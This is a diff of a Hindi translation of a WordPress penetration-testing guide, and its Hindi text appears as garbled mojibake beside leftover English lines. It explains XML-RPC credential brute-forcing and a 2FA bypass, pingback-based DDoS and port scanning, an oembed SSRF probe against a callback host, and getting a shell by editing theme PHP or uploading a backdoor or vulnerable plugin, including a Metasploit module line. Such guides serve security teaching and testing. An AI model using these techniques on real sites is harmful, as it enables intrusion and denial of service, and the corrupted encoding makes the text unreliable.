рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдкрд╛ рд▓реЗрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдХреБрдЫ рдРрд╕рд╛ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ: ```html wp.getUsersBlogs @@ -132,15 +132,13 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses. ``` -The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid. +рдпрджрд┐ credentials рдЕрдорд╛рдиреНрдп рд╣реИрдВ рддреЛ 200 code response рдХреЗ рдЕрдВрджрд░ рд╕рдВрджреЗрд╢ _"Incorrect username or password"_ рджрд┐рдЦрд╛рдИ рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдПред ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -рдпрджрд┐ credentials рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИрдВ рддреЛ 200 рдХреЛрдб response рдХреЗ рднреАрддрд░ рд╕рдВрджреЗрд╢ _"Incorrect username or password"_ рджрд┐рдЦрд╛рдИ рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдПред - -рд╕рд╣реА credentials рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред response рдореЗрдВ path рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +рд╕рд╣реА credentials рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдПрдХ file рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред response рдореЗрдВ path рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -170,18 +168,18 @@ The message _"Incorrect username or password"_ inside a 200 code response should ``` -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, `system.multicall` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ brute-force credentials рдХреЗ рд▓рд┐рдП рдПрдХ **рддреЗрдЬрд╝ рддрд░реАрдХрд╛** рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдПрдХ рд╣реА рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдореЗрдВ рдХрдИ credentials рдЖрдЬрд╝рдорд╛ рд╕рдХрддреЗ рд╣реИрдВ: +Also there is a **рддреЗрдЬрд╝ рддрд░реАрдХрд╛** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
**Bypass 2FA** -рдпрд╣ рд╡рд┐рдзрд┐ рдкреНрд░реЛрдЧреНрд░рд╛рдореНрд╕ рдХреЗ рд▓рд┐рдП рд╣реИ, рдЗрдВрд╕рд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ, рдФрд░ рдкреБрд░рд╛рдиреА рд╣реЛрдиреЗ рдХреЗ рдХрд╛рд░рдг рдпрд╣ 2FA рдХреЛ рд╕рдкреЛрд░реНрдЯ рдирд╣реАрдВ рдХрд░рддреАред рдЗрд╕рд▓рд┐рдП, рдЕрдЧрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ valid creds рд╣реИрдВ рд▓реЗрдХрд┐рди рдореБрдЦреНрдп рдкреНрд░рд╡реЗрд╢ 2FA рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ, рддреЛ **рдЖрдк xmlrpc.php рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрди creds рд╕реЗ 2FA рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдЖрдк console рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд░ рдкрд╛рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА actions рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ, рд▓реЗрдХрд┐рди рдлрд┐рд░ рднреА рдЖрдк RCE рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ рдХрд┐ Ippsec рдиреЗ [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рд╣реИред +This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS or port scanning** -рдпрджрд┐ рдЖрдк list рдХреЗ рдЕрдВрджрд░ _**pingback.ping**_ method рдХреЛ рдвреВрдБрдв рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЖрдк Wordpress рдХреЛ рдХрд┐рд╕реА рднреА host/port рдкрд░ arbitrary request рднреЗрдЬрд╡рд╛ рд╕рдХрддреЗ рд╣реИрдВред\ -рдЗрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рд╣рдЬрд╝рд╛рд░реЛрдВ** Wordpress **рд╕рд╛рдЗрдЯреЛрдВ** рд╕реЗ рдПрдХ рд╣реА **рд╕реНрдерд╛рди** рдХреЛ **рдПрдХреНрд╕реЗрд╕** рдХрд░рд╡рд╛рдПрдБрдЧреЗ (рдЬрд┐рд╕рд╕реЗ рдЙрд╕ рд╕реНрдерд╛рди рдкрд░ **DDoS** рд╣реЛрддрд╛ рд╣реИ), рдпрд╛ рдЖрдк рдЗрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **Wordpress** рдХреЛ рдХрд┐рд╕реА internal **рдиреЗрдЯрд╡рд░реНрдХ** рдкрд░ **рд╕реНрдХреИрди** рдХрд░рд╡рд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдк рдХреЛрдИ рднреА рдкреЛрд░реНрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред +If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ +This can be used to ask **рд╣рдЬрд╝рд╛рд░реЛрдВ** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port). ```html pingback.ping @@ -193,9 +191,9 @@ The message _"Incorrect username or password"_ inside a 200 code response should ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -рдпрджрд┐ рдЖрдкрдХреЛ **faultCode** рдХрд╛ рдорд╛рди **рдмрдбрд╝рд╛** **0** (17) рд╕реЗ рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ port рдЦреБрд▓рд╛ рд╣реИред +рдпрджрд┐ рдЖрдкрдХреЛ **faultCode** рдХрд╛ рдорд╛рди **0** (17) рд╕реЗ **рдЕрдзрд┐рдХ** рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рдкреЛрд░реНрдЯ рдЦреБрд▓рд╛ рд╣реИред -рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ **`system.multicall`** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ рдЖрдк рд╕реАрдЦ рд╕рдХреЗрдВ рдХрд┐ рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ DDoS рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдкреВрд░реНрд╡ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ **`system.multicall`** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ рдЖрдк рд╕реАрдЦ рд╕рдХреЗрдВ рдХрд┐ рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреИрд╕реЗ DDoS рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред **DDoS** ```html @@ -211,15 +209,15 @@ The message _"Incorrect username or password"_ inside a 200 code response should ### wp-cron.php DoS -рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдЖрдорддреМрд░ рдкрд░ Wordpress рд╕рд╛рдЗрдЯ рдХреА рд░реВрдЯ рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрддреА рд╣реИ: **`/wp-cron.php`**\\ -рдЬрдм рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ **рдПрдХреНрд╕реЗрд╕** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдПрдХ "**рднрд╛рд░реА**" MySQL **query** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╣рдорд▓рд╛рд╡рд░** рджреНрд╡рд╛рд░рд╛ **DoS** **рдкреИрджрд╛** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред\\ -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, `wp-cron.php` рдХреЛ рд╣рд░ рдкреЗрдЬ рд▓реЛрдб рдкрд░ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬрдм рднреА рдХреЛрдИ рдХреНрд▓рд╛рдЗрдВрдЯ рдХрд┐рд╕реА рднреА Wordpress рдкреЗрдЬ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИ), рдЬреЛ high-traffic рд╕рд╛рдЗрдЯреНрд╕ рдкрд░ рд╕рдорд╕реНрдпрд╛рдПрдБ (DoS) рдкреИрджрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдЖрдо рддреМрд░ рдкрд░ Wordpress рд╕рд╛рдЗрдЯ рдХреА root рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрддреА рд╣реИ: **`/wp-cron.php`**\ +рдЬрдм рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ access рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдПрдХ **heavy** MySQL **query** рдЪрд▓рд╛рдИ рдЬрд╛рддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ **attackers** рджреНрд╡рд╛рд░рд╛ **DoS** рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред\ +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `wp-cron.php` рдХреЛ рд╣рд░ page load рдкрд░ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬрдм рднреА рдХреЛрдИ client рдХрд┐рд╕реА Wordpress рдкреЗрдЬ рдХреЛ request рдХрд░рддрд╛ рд╣реИ), рдЬреЛ high-traffic рд╕рд╛рдЗрдЯреНрд╕ рдкрд░ рд╕рдорд╕реНрдпрд╛рдПрдБ рдкреИрджрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (DoS)ред -рд╕реБрдЭрд╛рд╡ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ Wp-Cron рдХреЛ disable рдХрд░реЗрдВ рдФрд░ host рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ cronjob рдмрдирд╛рдПрдВ рдЬреЛ рдирд┐рдпрдорд┐рдд рдЕрдВрддрд░рд╛рд▓ рдкрд░ рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗ (рдмрд┐рдирд╛ рд╕рдорд╕реНрдпрд╛рдПрдБ рдкреИрджрд╛ рдХрд┐рдП)ред +рд╕реБрдЭрд╛рд╡ рд╣реИ рдХрд┐ Wp-Cron рдХреЛ disable рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ host рдХреЗ рдЕрдВрджрд░ рдПрдХ real cronjob рдмрдирд╛рдпрд╛ рдЬрд╛рдП рдЬреЛ рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдирд┐рдпрдорд┐рдд рдЕрдВрддрд░рд╛рд▓ рдкрд░ рдЪрд▓рд╛рдП (рдмрд┐рдирд╛ рд╕рдорд╕реНрдпрд╛рдПрдБ рдкреИрджрд╛ рдХрд┐рдП)ред ### /wp-json/oembed/1.0/proxy - SSRF -Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you. +рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдХрд┐ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ рдкрд░ рдкрд╣реБрдБрдЪреЗрдВ рдФрд░ Worpress рд╕рд╛рдЗрдЯ рдЖрдкрдХреЗ рдкрд╛рд╕ request рдХрд░ рд╕рдХрддреА рд╣реИред This is the response when it doesn't work: @@ -232,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -рдпрд╣ рдЯреВрд▓ рдЪреЗрдХ рдХрд░рддрд╛ рд╣реИ рдХрд┐ **methodName: pingback.ping** рдореМрдЬреВрдж рд╣реИ рдФрд░ рдкрд╛рде **/wp-json/oembed/1.0/proxy** рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдФрд░ рдЕрдЧрд░ рдореМрдЬреВрдж рд╣реИрдВ рддреЛ рдпрд╣ рдЙрдиреНрд╣реЗрдВ exploit рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред +рдпрд╣ tool рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ **methodName: pingback.ping** рдФрд░ path **/wp-json/oembed/1.0/proxy** рдореМрдЬреВрдж рд╣реИрдВ рдпрд╛ рдирд╣реАрдВ рдФрд░ рдпрджрд┐ рдореМрдЬреВрдж рд╣реЛрдВ рддреЛ рдЗрдиреНрд╣реЗрдВ exploit рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред ## Automatic Tools ```bash @@ -242,14 +240,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## рдПрдХ рдмрд┐рдЯ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ -рдпрд╣ рдЕрд╕рд▓ рд╣рдорд▓рд╛ рд╣реЛрдиреЗ рдХреЗ рдмрдЬрд╛рдп рдПрдХ рдЬрд┐рдЬреНрдЮрд╛рд╕рд╛ рд╣реИред CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) рдореЗрдВ рдЖрдк рдХрд┐рд╕реА рднреА wordpress рдлрд╝рд╛рдЗрд▓ рдХрд╛ 1 рдмрд┐рдЯ рдкрд▓рдЯ рд╕рдХрддреЗ рдереЗред рдЗрд╕рд▓рд┐рдП рдЖрдк рдлрд╝рд╛рдЗрд▓ `/var/www/html/wp-includes/user.php` рдХреА рд╕реНрдерд┐рддрд┐ `5389` рдкрд░ рдмрд┐рдЯ рдкрд▓рдЯрдХрд░ NOT (`!`) рдСрдкрд░реЗрд╢рди рдХреЛ NOP рдХрд░ рд╕рдХрддреЗ рдереЗред +рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╣рдорд▓реЗ рд╕реЗ рдЕрдзрд┐рдХ рдпрд╣ рдПрдХ рдЬрд┐рдЬреНрдЮрд╛рд╕рд╛ рд╣реИред CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) рдореЗрдВ рдЖрдк рдХрд┐рд╕реА рднреА wordpress рдлрд╝рд╛рдЗрд▓ рдХрд╛ 1 рдмрд┐рдЯ flip рдХрд░ рд╕рдХрддреЗ рдереЗред рдЗрд╕рд▓рд┐рдП рдЖрдк рдлрд╝рд╛рдЗрд▓ `/var/www/html/wp-includes/user.php` рдХреЗ position `5389` рдХрд╛ рдмрд┐рдЯ flip рдХрд░рдХреЗ NOT (`!`) рдСрдкрд░реЗрд╢рди рдХреЛ NOP рдХрд░ рд╕рдХрддреЗ рдереЗред ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** -**рдереАрдо рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП php рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ (admin credentials рдЖрд╡рд╢реНрдпрдХ)** +**рдереАрдо рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП php рдореЗрдВ рд╕рдВрд╢реЛрдзрди (admin credentials needed)** Appearance тЖТ Theme Editor тЖТ 404 Template (at the right) @@ -257,7 +255,7 @@ php shell рдХреЗ рд▓рд┐рдП рд╕рд╛рдордЧреНрд░реА рдмрджрд▓реЗрдВ: ![](<../../images/image (384).png>) -рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреЛрдЬреЗрдВ рдХрд┐ рдЖрдк рдЙрд╕ рдЕрдкрдбреЗрдЯ рдХрд┐рдП рдЧрдП рдкреГрд╖реНрда рддрдХ рдХреИрд╕реЗ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдкрдХреЛ рдпрд╣рд╛рдБ рдкрд╣реБрдБрдЪрдирд╛ рд╣реЛрдЧрд╛: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреЛрдЬреЗрдВ рдХрд┐ рдЖрдк рдЙрд╕ рдЕрдкрдбреЗрдЯреЗрдб рдкреЗрдЬ рддрдХ рдХреИрд╕реЗ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдкрдХреЛ рдпрд╣рд╛рдБ рдкрд╣реБрдБрдЪрдирд╛ рд╣реЛрдЧрд╛: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -265,67 +263,67 @@ php shell рдХреЗ рд▓рд┐рдП рд╕рд╛рдордЧреНрд░реА рдмрджрд▓реЗрдВ: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` -рд╕рддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред +to get a session. ## Plugin RCE ### PHP plugin -рдХрднреА-рдХрднреА .php рдлрд╛рдЗрд▓реЗрдВ plugin рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ php backdoor рдмрдирд╛рдПрдВ: +It may be possible to upload .php files as a plugin.\ +Create your php backdoor using for example: ![](<../../images/image (183).png>) -рдлрд┐рд░ рдПрдХ рдирдпрд╛ plugin рдЬреЛрдбрд╝реЗрдВ: +Then add a new plugin: ![](<../../images/image (722).png>) -Plugin рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ Install Now рджрдмрд╛рдПрдБ: +Upload plugin and press Install Now: ![](<../../images/image (249).png>) -Procced рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ: +Click on Procced: ![](<../../images/image (70).png>) -рд╢рд╛рдпрдж рдЗрд╕рд╕реЗ рдХреБрдЫ рднреА рдирд╣реАрдВ рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдк Media рдореЗрдВ рдЬрд╛рдПрдБ рддреЛ рдЖрдк рдЕрдкрдирд╛ shell рдЕрдкрд▓реЛрдб рд╣реБрдЖ рджреЗрдЦреЗрдВрдЧреЗ: +Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded: ![](<../../images/image (462).png>) -рдЗрд╕реЗ access рдХрд░реЗрдВ рдФрд░ рдЖрдк reverse shell execute рдХрд░рдиреЗ рдХрд╛ URL рджреЗрдЦреЗрдВрдЧреЗ: +Access it and you will see the URL to execute the reverse shell: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -рдпрд╣ рддрд░реАрдХрд╛ рдПрдХ рдРрд╕реА malicious plugin рдХреА installation рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬрд┐рд╕реЗ vulnerable рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЬрд┐рд╕рдХрд╛ exploit рдХрд░рдХреЗ web shell рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ WordPress dashboard рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдЬрд╛рддреА рд╣реИ: +рдпрд╣ рддрд░реАрдХрд╛ рдПрдХ рдРрд╕реЗ malicious plugin рдХреА installation рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЬреНрдЮрд╛рдд рд░реВрдк рд╕реЗ vulnerable рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ exploit рдХрд░рдХреЗ web shell рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ WordPress dashboard рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдЬрд╛рддреА рд╣реИ: -1. **Plugin Acquisition**: Plugin рдХреЛ Exploit DB рдЬреИрд╕реЗ рд╕реНрд░реЛрдд рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП [**here**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: plugin рдХреЛ рдХрд┐рд╕реА рд╕реНрд░реЛрдд рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреИрд╕реЗ Exploit DB рдЬреИрд╕реЗ [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: -- WordPress dashboard рдкрд░ рдЬрд╛рдПрдБ, рдлрд┐рд░ `Dashboard > Plugins > Upload Plugin` рдкрд░ рдЬрд╛рдПрдБред -- рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдП рдЧрдП plugin рдХреА zip рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред -3. **Plugin Activation**: рдПрдХ рдмрд╛рд░ plugin рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ install рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, рдЗрд╕реЗ dashboard рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ activate рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред +- WordPress dashboard рдкрд░ рдЬрд╛рдПрдВ, рдлрд┐рд░ `Dashboard > Plugins > Upload Plugin` рдкрд░ рдЬрд╛рдПрдВред +- Download рдХрд┐рдпрд╛ рдЧрдпрд╛ plugin zip file рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред +3. **Plugin Activation**: рдПрдХ рдмрд╛рд░ plugin рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ install рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, рдЗрд╕реЗ dashboard рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдХреНрд░рд┐рдп рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред 4. **Exploitation**: -- рдЬрдм "reflex-gallery" plugin install рдФрд░ activate рд╣реЛ, рддреЛ рдЗрд╕реЗ exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ vulnerable рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред -- Metasploit framework рдЗрд╕ vulnerability рдХреЗ рд▓рд┐рдП рдПрдХ exploit рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЙрдкрдпреБрдХреНрдд module рд▓реЛрдб рдХрд░рдХреЗ рдФрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХрдорд╛рдВрдбреНрд╕ execute рдХрд░рдХреЗ рдПрдХ meterpreter session рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ site рдкрд░ unauthorized access рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- рдпрд╣ рдХреЗрд╡рд▓ WordPress рд╕рд╛рдЗрдЯ рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред +- рдЬрдм "reflex-gallery" plugin install рдФрд░ activate рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЬреНрдЮрд╛рдд рд░реВрдк рд╕реЗ vulnerable рд╣реИред +- Metasploit framework рдЗрд╕ vulnerability рдХреЗ рд▓рд┐рдП рдПрдХ exploit рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЙрдкрдпреБрдХреНрдд module рд▓реЛрдб рдХрд░рдХреЗ рдФрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ commands рдЪрд▓рд╛рдХрд░, meterpreter session рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ site рдкрд░ unauthorized access рджреЗрддрд╛ рд╣реИред +- рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ WordPress рд╕рд╛рдЗрдЯ рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдХреЗрд╡рд▓ рдПрдХ рд╣реИред -рд╕рд╛рдордЧреНрд░реА рдореЗрдВ WordPress dashboard рдореЗрдВ plugin install рдФрд░ activate рдХрд░рдиреЗ рдХреЗ рдЪрд░рдгреЛрдВ рдХреЛ рджрд░реНрд╢рд╛рддреЗ рд╣реБрдП рджреГрд╢реНрдп рд╕рдВрджрд░реНрдн рд╢рд╛рдорд┐рд▓ рд╣реИрдВред 